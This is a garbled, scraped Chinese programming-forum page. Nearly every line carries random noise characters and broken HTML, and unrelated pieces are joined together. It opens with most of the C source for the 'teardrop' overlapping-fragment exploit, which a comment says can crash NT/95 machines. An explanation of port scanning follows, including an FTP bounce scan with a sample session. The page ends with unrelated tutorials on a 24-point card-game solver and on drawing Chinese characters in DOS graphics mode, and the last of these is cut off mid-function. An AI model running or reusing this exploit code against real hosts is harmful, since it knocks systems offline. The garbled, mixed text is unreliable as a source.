9 J# v# [2 U+ y5 d% o' w8 K8 v* f{
/ G! [  T% H$ U. }: aint one = 1,
3 K5 p4 o" W" Ecount = 0,
0 |/ L9 z4 f; a) {i,
; r) l: F! q1 y+ ~7 b- d/ Urip_sock;
6 Q3 q  V. y' Y; r) lu_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
& D3 m5 U1 _8 Cif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
{
perror("raw socket");
exit(1);
}
$ X# e' r: L3 O; q* j//由系统处理IP校验和。
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
&lt; 0)
- s" i) d- {& h! n1 c5 Z& B{
perror("IP_HDRINCL");
; B' D5 ~( n/ Lexit(1);
}</P><P>if (argc &lt; 3) usage(argv[0]);
2 H3 l; M3 v. R- l& W' |% @4 Sif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
& Y' i2 U4 t6 r% \5 I) Pexit(1);
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
% a3 v) e, n8 R6 [case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
, Y& e) m1 F0 }1 ccase 'n': /* number to send */
) l8 l- e3 R' V4 y# \4 t( Y% o3 Acount = atoi(optarg);
! g' D0 j7 }' G: w9 z1 rbreak;
default :
usage(argv[0]);
: k9 R* |9 s! D8 }$ Ubreak; /* NOTREACHED */
; U1 S# M) x9 F1 P# q: L' W}
}</P><P>srandom((unsigned)(time((time_t)0)));
  t+ a* [9 @/ w8 bif (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
$ J- q9 [+ `) F) i# Uif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
, J2 B5 T% y5 N- U  _addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
3 V& N$ Z7 n/ R2 I, u) k8 yfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
, `% @3 Q; `. f6 M- s6 w+ W# }( u0 v5 Cfprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
+ F% S) K1 `+ w  \8 t{
# l' w$ d% U/ V: x3 e9 bsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
- H- ]+ Q) e5 O/ k  ^+ f/ h5 jfprintf(stderr, "b00m ");
* H  y7 a" h9 z6 F* s5 x  b! Pusleep(500);
% v$ h+ N( _6 a3 e}
1 B/ d2 _- [; _6 P6 I+ Gfprintf(stderr, "]\n");
+ F  m9 T, y% K) S/ Kreturn (0);
}</P><P>/*
5 b; G- F6 V3 u- L, o* Send two IP fragments with pathological offsets. We use an implementation
$ e. r( F0 i  g- N0 G! l; {* a, i% A* independent way of assembling network packets that does not rely on any of
5 ^8 L0 o& `. x. A0 `* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
: b5 T) [- B& z5 v5 ^+ ^& X2 @u_char byte; /* a byte */
7 ]8 v+ n+ n' @5 ?  h8 hstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
+ L( W# v9 M, t9 G% {( csin.sin_port = src_prt;
: \  y5 w4 v- p1 J$ u- g1 [5 N8 L1 Ksin.sin_addr.s_addr = dst_ip;</P><P>/*
8 S4 k1 ^+ s, [* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
6 T  l3 a7 [+ \$ i! cbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &amp;byte, sizeof(u_char));
, P8 B+ s5 `- F& p: j2 Ip_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
; P  B- d: G; g* H*((u_short *)p_ptr) = htons(242); /* IP id */
; U! N/ |; ~# |# D1 D+ {p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
! D0 m' a3 t/ O! Q1 Z% \8 Qp_ptr += 2;
4 c" M6 [3 u, \6 Q; x*((u_short *)p_ptr) = 0x40; /* IP TTL */
' p2 F5 R/ _% t& bbyte = IPPROTO_UDP;
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
2 M! E1 \' R9 _2 h* f/ X% ^6 Tp_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
  G7 g2 l1 q$ c) i; K# e( e9 v. zp_ptr += 2;
: B) K0 Q9 m5 J: K- D6 d8 W*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
sizeof(struct sockaddr)) == -1)
1 V; j7 F1 f+ j# W! t{
perror("\nsendto");
% j5 [: E* {( [" ofree(packet);
exit(1);
3 |$ `* t& C2 N) V- p$ b  Y! |& }% F}</P><P>/* We set the fragment offset to be inside of the previous packet's
$ v/ ^3 |! A7 n8 ]3 `* payload (it overlaps inside the previous packet) but do not include
" |! c, s. @/ R3 d- Q' e* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
% d0 C: O4 f9 A0 I* better.
*/
- s( s, c+ T8 _! sp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
( p- L9 q' _+ y*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
" j$ M" m1 h" u, a% I5 P*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
- f* ?6 A( W' Rsizeof(struct sockaddr)) == -1)
. A5 n3 O( }: I  M{
8 I- T, }6 X, G5 \perror("\nsendto");
0 \( G( ?  [8 B) d# `5 ~free(packet);
/ F* x2 w6 W, ?5 n7 W, R& b9 Wexit(1);
}
/ n  |1 E' ?- _( t' yfree(packet);
}</P><P>u_long name_resolve(u_char *host_name)
) c# y# |9 a0 K; V{
struct in_addr addr;
; G. t( ]5 `$ `4 J8 Sstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
{
' T. A" O- k' ~) _! K# F+ kif (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
" f6 o- F* b+ ~2 B) W% D1 C}
return (addr.s_addr);
& B8 ~  {; z! h+ z: K0 }, A}</P><P>void usage(u_char *name)
! g0 z" W/ @5 |1 D7 H1 M5 d{
7 N: {' t0 Z; `( s( _9 e3 U2 _fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
% w" R9 G# Y9 t8 J- s; P7 o}</P><P>
7 d% k# @3 D4 y! n. b* S4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法：
. b, |0 d7 _0 T, @(1) Half-open（半打开）
4 s, `3 w0 o# r* P0 f0 j4 y利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
/ c6 m3 I, F# {如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。</P><P>(2) FTP scanner
- s7 l* {7 ^" O: N0 i5 D' Q* r$ C利用了FTP的port命令，例如可以这样作：
3 a' R4 h, j& M! K/ t/ \选择一个FTP服务器，连上后令port命令指向目标机，如果返回
: q2 L. N3 I7 d$ ^3 ]值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
, U# k! D& N' j8 K* H3 k1 F该端口无服务。
' m+ f; j& D5 o& A% ntelnet 192.168.1.13 21
3 h+ N9 \) M& @% sTrying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
- v) D3 Q5 K7 {: u6 {2 k220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
9 d5 c3 @1 k' t2 HThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
/ J" a0 r* Q2 q- V- Y; K331 Guest login ok, send your complete e-mail address as password.
5 y! M# t1 T. q$ u2 L( D, }& Ypass aa@aa.aa
230 Guest login ok, access restrictions apply.
% B/ G8 a$ V7 _% S# w' _port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
; b* h& O' [- U425 Can't build data connection: Connection refused.
6 @# E9 k0 A: }6 }; W6 w8 ~//该端口未活动
( c2 v: C4 h; O150 Opening ASCII mode data connection for file list.
) }) F- Y0 u) k' e1 a! `! v226 Transfer complete.
//该端口活动中
+ p9 j9 x9 [" E0 c, c4 |但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。</P><P>上述两种方法是通用的，而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理：</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
* Z! V! z/ }* Q& `) uSYN|FIN ACK or SYN|ACK* RST
2 `$ U& d0 m  ?% J' m2 y/ F7 TACK Nothing RST
/ Y/ b( v/ [8 }% H0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
) G: A; D7 e3 {3 k, X. `一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
/ C6 ~7 ~; m0 J- ~# I9 d0 H  n' U5 H5 y" w定它在向你做portscan。</P><P>notes：
! G% C8 |- r. a& u. ]* Q: w早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
' G& @$ Q9 L- T9 H  q/ d' |都是向它scan。</P>

韩冰

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。
0 v: ]/ o) a1 Y$ G+ X
　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
& ?. S& W: O3 N7 i- x5 L0 @首先穷举的可行性问题。我把表达式如下分成三类——
3 i. k' [% I% M& K: }* i<FONT color=#ff0000>1、 无括号的简单表达式。
; p% X, w4 E& I# B( _2、 有一个括号的简单表达式。
3、 有两个括号的较复4、 杂表达式。
</FONT>穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
: ~: l+ _9 {: {2 T/* c[] 存放四张牌的数组 */
# X5 W! F9 _4 b4 J/* k[] c[]种四张牌的代号，其中k[I]=I+1。
用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
/* kans[] 暂存生成的排列组合 */
/* j 嵌套循环的次数 */
+ o# o8 y/ D- V# P. dint fans(c,k,ans,kans,j)
" Y5 a$ v7 ?* I; \9 E! nint j,k[],c[];char ans[],kans[];
; ?, O5 U7 E4 K! z{ int i,p,q,r,h,flag,s[4],t[4][4];
# h! q, @6 z- }- N' v5 z$ u6 d' Tfor(p=0,q=0;p&lt;4;p++)
{ for(r=0,flag=0;r<J;R++)
if(k[p]!=kans[r]) flag++;
if(flag==j) t[j][q++]=k[p];
7 _) l& l' Z4 Q1 Z4 `  v' T, A}
for(s[j]=0;s[j]&lt;4-j;s[j]++)
$ [6 V; E$ E& H& n$ C  L  N{ kans[j]=t[j][s[j]];
4 j1 Y6 |3 `5 v8 Zif(j==3) { for(h=0;h&lt;4;h++)
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
" P$ I! s1 n/ \达式中的位置 */
for(h=0;h&lt;3;h++)
1 B& k) @6 [; Q: s# p% n1 ~2 V7 isymbol(ans,h); /* 在表达式中添加运算符号 */
}
, o( o. y* Z8 D! ~$ N8 Melse { j++;
fans(c,k,ans,kans,j);
1 }1 ^" R7 D) y8 o9 ^9 Oj--;
}
}
}</FONT>

& Y' V: z: |$ x1 n8 j, F1 \　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:

' I7 }2 ^: \5 p<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
int sans(ans,sy,j,h)
char ans[],sy[];int j,h;
{ int i,p,k[3],m,n; char ktans[20];
$ L# l. C! L- I8 H* p/ ]# G( X, Pfor(k[j]=0;k[j]&lt;4;k[j]++)
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
1 o6 Y& d7 X, f5 m4 V3 b6 N. i) q这里的三个运算符号分别存放在1、3、5位*/
if(j==2)
% F9 F; y; [( Y{ ans[5]=sy[k[j]];
/ W- X5 n/ }* x6 p/* 此处根据不同的表达式形式再进行相应的处理 */
}
$ v1 h6 m2 w% {3 y% aelse { j++; sans(ans,sy,j--,h); }
}
8 e# v, Q0 t' X: J1 b}

1 q* b' p1 N- S/ ?4 }</FONT>　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
for(m=0;m&lt;=4;m+=2)
' @$ R* @( w+ g. W6 Ffor(n=m+4;n&lt;=8;n+=2)
　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。
4 j, a+ P; B8 n6 Q' R) `6 \0 J# X
) I- a: `+ G0 I　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
8 {+ e: G1 O$ ?2 v: ~</P>< align=left>　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
  P, o6 e) @7 ~在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。
0 [4 ^9 d; f% e7 U7 H& R
0 J+ E& Q; ~5 D: @　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
0 `7 p; b1 H8 t  \2 p1 F- Q: I* v% f
　　那么作为栈的著名应用，表达式的计算可以有两种方法。
  M0 L8 H4 B) p$ {: r& S0 g5 x' c
　　<FONT color=#ff0000>第一种方法——</FONT>
　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
# ^( {+ w  T' R2 m" ~& V, z1、 若W为操作数
2、 则将W压入操作数栈OVS
& q4 }4 O; o. p) R: a, S) D3、 且继续扫描下一个字符
4、 若W为运算符
5、 则根据运算符的性质做相应的处理：
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
; F4 J9 X" j) }& t(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
0 M6 w1 D' |: I( V- t2 u, J1 }(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。

<FONT color=#ff0000>　　第二种方法——</FONT>
　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。

　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。

　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
; s3 A" `+ o0 z3 k5 {表达式 波兰表达式
; v8 }$ R. _2 v$ {' sA-B AB-
（A-B）*C+D AB-C*D+
A*（B+C/D）-E*F ABCD/+*EF*-
* C7 M% n; a) z- E& I1 E4 y: D4 c（B+C）/（A-D） BC+AD-/
$ j$ W* w& H) e' t$ g! N
　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。
% c* y0 x( `6 P3 ~# E! H6 k
& c, M" {! A& k" o, ?- s　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。

' t6 y; P6 H8 i0 s　　下面给出转换和计算的具体实现程序——

<FONT color=#009900>/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
( G: U4 e0 g, {, n" ~' e( Aint first(char c)
{ int p;
switch(c)
{ case '*': p=2; break;
9 e  @: p/ p# f5 X1 v; E6 |case '/': p=2; break;
% l( S$ K6 c/ Rcase '+': p=1; break;
8 y/ e" K$ {0 [1 R0 F$ U) `- r8 mcase '-': p=1; break;
case '(': p=0; break;
case '=': p=-1; break;
}
return(p);
6 ?* P9 p3 K6 F4 S2 C}
/* 此函数实现中缀到后缀的转换 */
/* M的值宏定义为20 */
. Y3 x. R" n- \: D! P0 w, S& \/* sp[]为表达式数组 */
5 u5 j, M  a6 b% Aint mid_last()
{ int i=0,j=0; char c,sm[M];
( q7 r+ ^! t5 |/ v" pc=s[0]; sm[0]='='; top=0;
: L! y* E& @6 M6 Y, J& h7 owhile(c!='\0')
{ if(islower(c)) sp[j++]=c;
+ x! B6 u9 Q7 `' ?' |% ]& Yelse switch(c)
{ case '+':
: N$ y7 f$ G9 B, e/ w! X( Ccase '-':
case '*':
) T5 {/ W4 n* zcase '/': while(first(c)&lt;=first(sm[top]))
sp[j++]=sm[top--];
/ w+ O% V, h2 p% N/ bsm[++top]=c; break;
case '(': sm[++top]=c; break;
7 @' b: M  M7 `6 f$ Dcase ')': while(sm[top]!='(')
# D& ?3 J' ?; D) n1 q9 ]; \% usp[j++]=sm[top--];
$ ~! D9 W1 L1 w  etop--; break;
default :return(1);
+ `2 M; j  v9 i% I4 f}
4 c: Y; u, c" ^8 A0 v! Dc=s[++i];
( X  w1 _& Q2 O; _; S: Y* l}
while(top&gt;0) sp[j++]=sm[top--];
sp[j]='\0'; return(0);
* E8 v7 b( ^8 W- B( R* u: v, G! I* u}
/* 由后缀表达式来计算表达式的值 */
int calc()
{ int i=0,sm[M],tr; char c;
0 V- `% P7 m) Y+ s  y4 ic=sp[0]; top=-1;
" _) `7 `0 ~7 a: |while(c!='\0')
{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数，
这样才可以更方便的处理非一位数，
' E8 E* c; E! A2 L9 Sver数组中存放着这些字母所代替的数*/
, D( T$ P9 D7 j& A  {else switch(c)
{ case '+': tr=sm[top--]; sm[top]+=tr; break;
% O& ]. ~0 M% i- ?case '-': tr=sm[top--]; sm[top]-=tr; break;
& ?! o* W% R0 K5 d* F1 dcase '*': tr=sm[top--]; sm[top]*=tr; break;
case '/': tr=sm[top--];sm[top]/=tr;break;
( H  O. p2 p( Y1 |7 P, Wdefault : return(1);
" `) q% O! G6 h- s/ `}
& G9 h+ ?0 I$ P  Z1 N7 |c=sp[++i];
# R1 f: M0 A% Q. \; p9 {5 {5 Y}
if(top&gt;0) return(1);
, H; w- A0 j- ?& Velse { result=sm[top]; return(0); }
" ~- c) u7 Q' T; H7 W}
</FONT>
　　这样这个程序基本上就算解决了，回过头来拿这个程序来算一算文章开始的那个问题。哈哈，算出来了，原来如此简单——（6-3）*10-6=24。
7 u1 y6 P& v- t2 Z
! W+ Y: h8 a! o1 i3 B% u　　最后我总结了一下这其中容易出错的地方——
; u+ L  Y1 f: R7 k) Q
　　1、 排列的时候由于一个数只能出现一次， 所以必然有一个判断语句。但是用什么来判断，用大小显然不行，因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号，在排列结束时，通过这个代号找到这个数。

　　2、在应用嵌套函数时，需仔细分析程序的执行过程，并对个别变量进行适当的调整（如j的值）,程序才能正确的执行。
) o# z( B+ A6 f) e# q9 x7 R
　　3、在分析括号问题的时候要认真仔细，不要错过任何一个可能的机会，也要尽量使程序变得简单一些。不过我的分析可能也有问题，还请高手指点。

　　4、在用函数对一个数组进行处理的时候，一定要注意如果这个数组还需要再应用，就必须将它先保存起来，否则会出错，而且是很严重的错误。
" E1 x9 `. W# m+ Q( Y
　　5、在处理用户输入的表达式时，由于一个十位数或者更高位数是被分解成各位数存放在数组中，所以需对它们进行处理，将它们转化成实际的整型变量。另外，在转化过程中，用一个字母来代替这个数，并将这个数存在一个数组中，且它在数组中的位置和代替它的这个字母有一定的联系，这样才能取回这个数。

4 h" T. @6 j! w# W4 U) m　　6、由于在穷举过程难免会出现计算过程中有除以0的计算，所以我们必须对calc函数种对于除的运算加以处理，否则程序会因为出错而退出（Divide by 0）。
  X# d- |6 Y1 i% u
6 c6 U' ?+ w+ \% O　　7、最后一个问题，本程序尚未解决。对于一些比较著名的题目，本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数，而本程序并没有考虑到小数。
</P>

韩冰

< align=center><FONT color=#cc0000 size=5><B>
图形模式下的汉字显示</B></FONT></P><>　</P><>　我们在编写一些应用软件时，为了使软件更为通俗浅显、易学易用，具备汉字的用户界面是必不可少的条件。在文本模式下，只要有汉字操作系统的支持，显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习Ｃ语言！");}
  A; l$ {: M0 e& n! T5 D　　在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究，并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持，但用到其中的字库文件。如ＵＣＤＯＳ的HZK16。
* ^( O: `6 M, I9 |$ W, g　　汉字显示的第一步是打开字库文件。
　　函数： int OpenHz(const char *Hz16Path); 功能：打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后，就可以用下面介绍的函数显示16点阵的汉字。
　　函数： int WrtHz16(int x,int y,int z,int color,char *p); 功能：在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
( w2 j3 ~0 Y7 G7 N; t{
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
$ z3 o3 Y$ a* }8 P, V) a. xint rec,i1,i2,i3; /*z:space between;*/
) X5 r) @' i) j% C/ Rlong l; /*color:txt color*/
1 \, y! c) W8 O; vchar by[32]; /*p:HZ str*/
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
4 n# G& \7 \0 i1 G1 ^if(i&gt;0xa1)
: e0 [7 I% ]! x5 r0 k* lif(f==0){
c1=(i-0xa1)&amp;0x07f;
f=1;
}
else{
3 V  }- q: }' oc2=(i-0xa1)&amp;0x07f;
$ n/ I' |7 B$ e  P* @# J; }f=0;
rec=c1*94+c2;
6 k8 D+ f$ f  X2 L& {l=rec*32L;
6 U! K2 `* f+ w8 Y" Glseek(handle,l,SEEK_SET);
read(handle,by,32);
7 b4 U6 m' e, d4 z" s- ?for(i1=0;i1&lt;16;i1++)
0 L# y3 q9 x8 {* y8 m% l' |0 cfor(i2=0;i2&lt;2;i2++)
for(i3=0;i3&lt;8;i3++)
if(GetBit(by[i1*2+i2],7-i3))
" P4 ?  o8 ?* r) v# s8 ^) _putpixel(x+i2*8+i3,y+i1,color);
x=x+z+16;
: i3 d1 s# ]1 Z( H}
}
return(x);
$ ~; I/ U/ V; c  Y3 u+ D$ T  m( M}
7 Q3 k% g# Y, T+ a  F: Z3 ]函数GetBit定义如下：
　　函数： int GetBit(unsigned char c,int n); 功能：取得汉字的点阵数据。
5 g6 }( r$ }5 Z1 M! I( X& q9 v* qint GetBit(unsigned char c,int n)
{
: p; s3 i# y) _/ o' L' ~return((c&gt;&gt;n)&amp;1);
}
# I. `8 n5 F0 e' o8 B# \汉字显示结束，应该关闭字库文件。
' l& L( p9 V2 ]2 ivoid CloseHz(void)
& v: S9 Y' s& K* E! ?{
close( handle );
}
5 A4 q; `6 w4 G& @* f+ [6 w#include "\Caic\Include\Hz.h"
#include <GRAPHICS.H>
/ A$ x% _/ A- j#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
, ]* v2 ]% _6 V/ ~const char* HzStr = "苦丁香Ｃ语言辅助学习软件";
- w, J4 j" N( y+ J$ ?& ~- fvoid main(){
- S" Q# t: w( W  ]: \" bint gr=DETECT,gm;
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
OpenHz( Hz16Path );
Wrt16Hz(20,20,4,RED,HzStr);
/ c; K0 q1 n! MCloseHz();
3 M% @. G, w! B  fgetch();
1 G! o: c: h" J& l4 yclosegraph();
' Y% q% Q3 Y$ t: o6 o}显示２４点阵及放大汉字
7 \5 W! |  i! T3 h' D　　下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如ＵＣＤＯＳ的HZK24S。
2 Q' O. m' `8 Y: G函数： int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能：显示２４点阵及放大汉字。
+ c6 A1 Z% s8 Oint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
{
( r3 U! B: g1 h5 @+ ?9 Kunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置（x,y）*/
+ {9 r4 G1 z1 `* l$ tlong l; /*color:汉字颜色*/
) u' I1 B  ^) `/ n& Nchar by[72]; /*m: x 方向的放大倍数*/
/*n: y 方向的放大倍数*/
4 i+ V1 G" p& \, m, Hif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
if(i&gt;0xa1)
* Z6 ~" n9 z* X+ t. d& u2 iif(f==0){
5 l' d* v: o* x2 uc1=(i-0xa1)&amp;0x7f;
f=1;
& V$ }( ?, v# o, S* K, |6 s5 q}
else{
7 Y, o; |% T. f6 g$ Z* W& b& Sc2=(i-0xa1)&amp;0x7f;
; ^- \3 C  y8 O# {4 Of=0;
( i* U" \  Z3 T7 P& Yrec=(c1-15)*94+c2;
% O6 l3 X/ q6 F, A2 ^/ Ml=rec*72L;
lseek(handle,l,SEEK_SET);
